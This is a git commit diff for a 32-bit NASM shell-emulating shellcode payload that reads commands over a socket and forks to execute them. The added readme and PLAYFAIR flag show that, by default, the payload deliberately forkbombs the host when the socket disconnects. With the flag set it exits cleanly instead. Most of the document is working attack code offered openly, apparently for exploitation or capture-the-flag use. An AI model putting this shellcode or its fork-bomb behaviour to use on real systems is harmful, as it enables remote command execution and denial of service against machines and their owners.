PLAYFAIR

evanpjensen · evanpjensen · commit eebc30198b6a · 2014-01-19T13:03:50.000-05:00
diff --git a/32shellEmulator/makefile b/32shellEmulator/makefile
@@ -4,14 +4,16 @@ INCLUDEDIR = ../include/
 INCLUDE    = -I $(INCLUDEDIR) -I $(RUNTIMEDIR)
 CFLAGS     = -m32 $(INCLUDE)
 SFLAGS     = -D INT80
+PLAYFAIR   = -D PLAYFAIR
+
 
 TARGET=shell32.s
 
 all: assemble  link
 
 assemble: $(TARGET)
-	nasm -f elf $(TARGET) $(INCLUDE) -o shellcode.o $(SFLAGS)
-	nasm  $(TARGET) $(INCLUDE) -o shellcode $(SFLAGS)
+	nasm -f elf $(TARGET) $(INCLUDE) -o shellcode.o $(SFLAGS) $(PLAYFAIR)
+	nasm  $(TARGET) $(INCLUDE) -o shellcode $(SFLAGS) $(PLAYFAIR)
 
 link:  $(TARGET) 
 	gcc shellcode.o $(CFLAGS) -o test_shellcode
diff --git a/32shellEmulator/readme b/32shellEmulator/readme
@@ -0,0 +1,2 @@
+32bit shell emulating payload will close gracefully when assembled with -D PLAYFAIR (Check makefile)
+If playfair is not defined, the payload will forkbomb when the socket is disconnected
diff --git a/32shellEmulator/shell32.s b/32shellEmulator/shell32.s
@@ -1,56 +1,60 @@
 	;; Evan Jensen 32bit shell emulating shellcode
 	;; 
-
+BITS 32
 	%include "short32.s"
 	%include "syscall.s"
 	%define BUFFERLEN 0x1ff
 
 	global main
 
 main:
-
-do_fork:
-	
-	SYSTEM_CALL(fork)
-	test eax,eax
-	jz short child
-parent:
-	push byte 0
-	push byte 0
-	push byte 0
-	pop ebx
-	pop ecx
-	pop edx	
-	SYSTEM_CALL(waitpid)
-	jmp short do_fork
-child:
-	cld
 	
 get_input:
 	xor eax,eax
 	cdq
 	mov dx,BUFFERLEN
-	sub esp,edx
 	mov ecx,esp
 	xor ebx,ebx
 	SYSTEM_CALL(read)
 	mov ebp,eax
 	test eax,eax
-	jz short do_exit ;synchronous IO or GTFO
-	mov byte [eax+esp-1],0
+	
+%ifdef PLAYFAIR
+	jz short do_exit 	;test if socket is closed
+%endif
+	mov byte [esp+eax-1],0	
+	
 
+do_fork:
+	
+	SYSTEM_CALL(fork)
+	test eax,eax
+	jz short child
+parent:
+	xor ebx,ebx
+	xor ecx,ecx
+	xor edx,edx
+	SYSTEM_CALL(waitpid)
+	jmp short main
 
-	;; push eax ;return of read pushed by get_input
-	;; pop ecx
+child:
 	
+	cld
 	;let's parse the arguments here
-	xchg eax,ecx
+	
+%ifndef PLAYFAIR
+	test ebp,ebp		;return of read
+	jz short do_fork
+%endif
+	
+parse:
+	mov ecx, ebp
 	push byte " "		
 	pop eax			;space used for inlined strchr
 	mov ebx,esp
 	cdq			;msb of eax is zero so this is ok
 	
-	add esp,BUFFERLEN	;space for argv[]
+	sub esp,BUFFERLEN	;space for argv[]
 add_token: 	;; calculate the pointerp to push
 	
 	mov esi,ebp

Original file line number	Diff line number	Diff line change
`@@ -0,0 +1,2 @@`
	`1`	`+32bit shell emulating payload will close gracefully when assembled with -D PLAYFAIR (Check makefile)`
	`2`	`+If playfair is not defined, the payload will forkbomb when the socket is disconnected`